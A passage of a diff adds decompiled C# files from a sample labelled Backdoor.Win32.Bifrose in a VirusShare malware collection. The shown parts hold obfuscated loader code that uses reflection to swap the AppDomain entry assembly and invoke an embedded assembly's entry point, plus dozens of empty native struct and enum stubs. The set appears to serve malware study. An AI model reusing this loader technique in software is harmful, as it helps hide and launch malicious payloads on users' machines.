goto label_10;
|
||||
if (num4 != 0U)
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num4);
|
||||
}
|
||||
}
|
||||
label_10:
|
||||
\u0082\u00BB.ù();
|
||||
\u0082\u00BB.\u0095(id);
|
||||
return num2;
|
||||
}
|
||||
|
||||
public unsafe void í()
|
||||
{
|
||||
FieldInfo fieldInfo = (FieldInfo) null;
|
||||
// ISSUE: untyped stack allocation
|
||||
int num1 = (int) __untypedstackalloc(\u0082\u00BB.Õ());
|
||||
Assembly entryAssembly = Assembly.GetEntryAssembly();
|
||||
uint exceptionCode;
|
||||
if ((object) entryAssembly == null)
|
||||
{
|
||||
\u0081ê.\u0081\u0099 = this.Û;
|
||||
try
|
||||
{
|
||||
fieldInfo = (FieldInfo) null;
|
||||
AppDomain currentDomain = AppDomain.CurrentDomain;
|
||||
AppDomainManager appDomainManager = currentDomain.DomainManager;
|
||||
if (appDomainManager == null)
|
||||
{
|
||||
appDomainManager = new AppDomainManager();
|
||||
typeof (AppDomain).GetField("_domainManager", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) currentDomain, (object) appDomainManager);
|
||||
}
|
||||
typeof (AppDomainManager).GetField("m_entryAssembly", BindingFlags.Instance | BindingFlags.NonPublic)?.SetValue((object) appDomainManager, (object) entryAssembly);
|
||||
}
|
||||
catch (Exception ex1) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num2 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex2) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num2 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num2 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
goto label_18;
|
||||
if (num2 != 0U)
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num2);
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
\u0081ê.\u0081\u0099 = entryAssembly;
|
||||
label_18:
|
||||
Assembly assembly = (Assembly) null;
|
||||
switch (this.Þ & 805306368)
|
||||
{
|
||||
case 536870912:
|
||||
assembly = this.\u0089();
|
||||
break;
|
||||
case 805306368:
|
||||
assembly = this.\u00F7();
|
||||
break;
|
||||
}
|
||||
if ((object) assembly == null)
|
||||
return;
|
||||
MethodInfo entryPoint = assembly.EntryPoint;
|
||||
if ((object) entryPoint == null)
|
||||
return;
|
||||
object[] parameters = new object[0];
|
||||
if (entryPoint.GetParameters().Length != 0)
|
||||
{
|
||||
string[] commandLineArgs = Environment.GetCommandLineArgs();
|
||||
string[] destinationArray = new string[commandLineArgs.Length - 1];
|
||||
int length = destinationArray.Length;
|
||||
if (length != 0)
|
||||
Array.Copy((Array) commandLineArgs, 1, (Array) destinationArray, 0, length);
|
||||
parameters = new object[1]
|
||||
{
|
||||
(object) destinationArray
|
||||
};
|
||||
}
|
||||
object obj = entryPoint.Invoke((object) null, parameters);
|
||||
if (obj == null)
|
||||
return;
|
||||
try
|
||||
{
|
||||
Marshal.WriteInt32(this.á, Convert.ToInt32(obj));
|
||||
}
|
||||
catch (Exception ex3) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
exceptionCode = (uint) Marshal.GetExceptionCode();
|
||||
if (\u0082\u00BB.\u0082\u00AE((void*) Marshal.GetExceptionPointers(), (void*) 0, 0, (void*) 0) != 0)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
uint num3 = 0;
|
||||
\u0082\u00BB.\u0081\u009A((void*) Marshal.GetExceptionPointers(), (void*) num1);
|
||||
try
|
||||
{
|
||||
try
|
||||
{
|
||||
}
|
||||
catch (Exception ex4) when (
|
||||
{
|
||||
// ISSUE: unable to correctly present filter
|
||||
num3 = (uint) \u0082\u00BB.\u0084((void*) Marshal.GetExceptionPointers());
|
||||
if (num3 != 0U)
|
||||
{
|
||||
SuccessfulFiltering;
|
||||
}
|
||||
else
|
||||
throw;
|
||||
}
|
||||
)
|
||||
{
|
||||
}
|
||||
return;
|
||||
if (num3 == 0U)
|
||||
return;
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.ã((void*) num1, (int) num3);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static Assembly ç(object _param0, ResolveEventArgs _param1) => \u0082\u00BB.\u0081õ(_param1.Name);
|
||||
}
|
||||
}
|
||||
+81
@@ -0,0 +1,81 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: é.Þ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using \u0081é;
|
||||
using \u0082\u00BC;
|
||||
using System;
|
||||
using System.Reflection;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
|
||||
namespace \u0081é
|
||||
{
|
||||
[Serializable]
|
||||
internal class \u0081Þ
|
||||
{
|
||||
private IntPtr þ;
|
||||
private int \u0092;
|
||||
[NonSerialized]
|
||||
private AppDomain ú;
|
||||
|
||||
public \u0081Þ(AppDomain domain, int domainId)
|
||||
{
|
||||
this.\u0092 = domainId;
|
||||
this.ú = domain;
|
||||
this.þ = IntPtr.Zero;
|
||||
}
|
||||
|
||||
public void \u0081ý()
|
||||
{
|
||||
if (this.ú == null)
|
||||
return;
|
||||
try
|
||||
{
|
||||
for (int index = 0; index < 10; ++index)
|
||||
{
|
||||
try
|
||||
{
|
||||
string friendlyName = this.ú.FriendlyName;
|
||||
Thread.Sleep(50);
|
||||
}
|
||||
catch (AppDomainUnloadedException ex)
|
||||
{
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
\u0082\u00BB.\u0095(this.\u0092);
|
||||
}
|
||||
}
|
||||
|
||||
public static AppDomain \u0081\u008D()
|
||||
{
|
||||
MethodInfo method = typeof (AppDomain).GetMethod("GetDefaultDomain", BindingFlags.Static | BindingFlags.NonPublic);
|
||||
return (object) method == null ? (AppDomain) null : method.Invoke((object) null, (object[]) null) as AppDomain;
|
||||
}
|
||||
|
||||
public void \u009C()
|
||||
{
|
||||
Marshal.GetObjectForIUnknown(this.þ);
|
||||
Marshal.Release(this.þ);
|
||||
this.þ = IntPtr.Zero;
|
||||
new Thread(new ThreadStart(this.\u0081ý)).Start();
|
||||
}
|
||||
|
||||
public void \u0081\u0084(object _param1, EventArgs _param2)
|
||||
{
|
||||
AppDomain appDomain = \u0081Þ.\u0081\u008D();
|
||||
if (appDomain == null)
|
||||
return;
|
||||
CrossAppDomainDelegate callBackDelegate = new CrossAppDomainDelegate(this.\u009C);
|
||||
this.þ = Marshal.GetIUnknownForObject((object) this.ú);
|
||||
this.ú = (AppDomain) null;
|
||||
appDomain.DoCallBack(callBackDelegate);
|
||||
}
|
||||
}
|
||||
}
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: é.ê
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using System.Reflection;
|
||||
|
||||
namespace \u0081é
|
||||
{
|
||||
internal class \u0081ê
|
||||
{
|
||||
internal static Assembly \u0081\u0099 = (Assembly) null;
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.î
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 32)]
|
||||
internal struct \u0081î
|
||||
{
|
||||
}
|
||||
}
|
||||
+20
@@ -0,0 +1,20 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Ä
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 28)]
|
||||
internal struct Ä
|
||||
{
|
||||
}
|
||||
}
|
||||
+27
@@ -0,0 +1,27 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.$
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 216)]
|
||||
internal struct \u0081\u0024
|
||||
{
|
||||
[MiscellaneousBits(65)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 16)]
|
||||
internal struct \u0081ö
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081\u0080
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u0083
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081\u0088
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081\u008B
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u0090
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u0093
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u0097
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081\u009C
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u00A0
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.§
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081\u00A7
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.«
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081\u00AB
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.³
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081\u00B3
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.¹
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081\u00B9
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Â
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081Â
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Ç
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
internal enum \u0081Ç
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Î
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081Î
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Õ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[DebugInfoInPDB]
|
||||
[NativeCppClass]
|
||||
[MiscellaneousBits(64)]
|
||||
internal enum \u0081Õ
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.Ü
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081Ü
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.ã
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081ã
|
||||
{
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.æ
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[UnsafeValueType]
|
||||
[MiscellaneousBits(65)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
[StructLayout(LayoutKind.Sequential, Size = 532)]
|
||||
internal struct \u0081æ
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.ì
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
[NativeCppClass]
|
||||
[DebugInfoInPDB]
|
||||
internal enum \u0081ì
|
||||
{
|
||||
}
|
||||
}
|
||||
+18
@@ -0,0 +1,18 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: ¼.ò
|
||||
// Assembly: Cursor, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: BB91517D-96CD-4859-A72C-BFC1CBA44DE2
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.Win32.Bifrose.fsi-c0e722d9404379de234a0a1f9cca8c75a960dec0159614b97283b8c7abb34847.exe
|
||||
|
||||
using Microsoft.VisualC;
|
||||
using System.Runtime.CompilerServices;
|
||||
|
||||
namespace \u0082\u00BC
|
||||
{
|
||||
[MiscellaneousBits(64)]
|
||||
